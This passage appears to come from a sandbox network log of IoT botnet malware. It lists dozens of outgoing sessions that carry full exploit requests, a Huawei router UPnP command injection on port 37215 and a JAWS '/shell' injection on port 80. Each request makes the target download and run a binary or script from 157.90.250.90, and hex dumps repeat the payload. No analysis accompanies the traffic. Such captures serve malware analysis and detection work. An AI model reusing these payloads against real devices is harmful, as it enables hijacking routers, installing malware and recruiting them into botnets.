huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	42154	41.108.205.190	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:50.126429081 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	37578	156.75.218.24	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:50.186098099 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	44534	197.121.34.254	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:50.186959028 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	39738	197.80.227.170	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:50.187608957 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	33760	89.237.234.81	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.000461102 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	58830	133.23.65.66	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.001070023 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	34300	67.109.205.61	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.001657009 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	34016	121.127.51.127	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.002230883 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	55548	51.132.116.166	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.002815008 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	33988	121.123.242.60	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.003402948 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	38692	90.128.45.194	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.004017115 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	43764	185.248.148.162	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.004605055 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	45662	175.207.62.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.005171061 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	60458	177.109.45.183	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.005753994 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	56182	114.255.133.213	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.006324053 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	38806	52.200.155.160	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.006920099 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	49912	178.168.125.118	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.007508993 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	43310	168.141.43.142	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.008156061 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	47182	165.71.235.9	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.008734941 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	34302	204.35.166.113	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.009330034 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	39260	222.183.121.253	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.009895086 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	50038	189.113.25.114	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.010492086 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	51100	157.10.232.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.011048079 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	41848	91.168.168.177	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.011662960 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	37886	42.54.179.203	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.012257099 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	51360	25.56.170.39	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.012846947 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	35800	100.44.128.127	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.013408899 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	39936	220.40.166.42	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.013993979 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	43952	120.47.138.87	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.014594078 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	46792	39.26.141.128	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.015188932 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	34322	192.122.106.149	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.015774965 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	42012	156.239.228.206	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.018409014 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	37286	62.248.199.225	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.019006014 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	41758	211.248.1.241	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.020092964 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	41454	13.227.133.150	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.020953894 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	47096	2.111.72.125	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.021707058 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	45352	151.117.200.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.022372007 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	32856	9.180.125.203	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.023345947 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
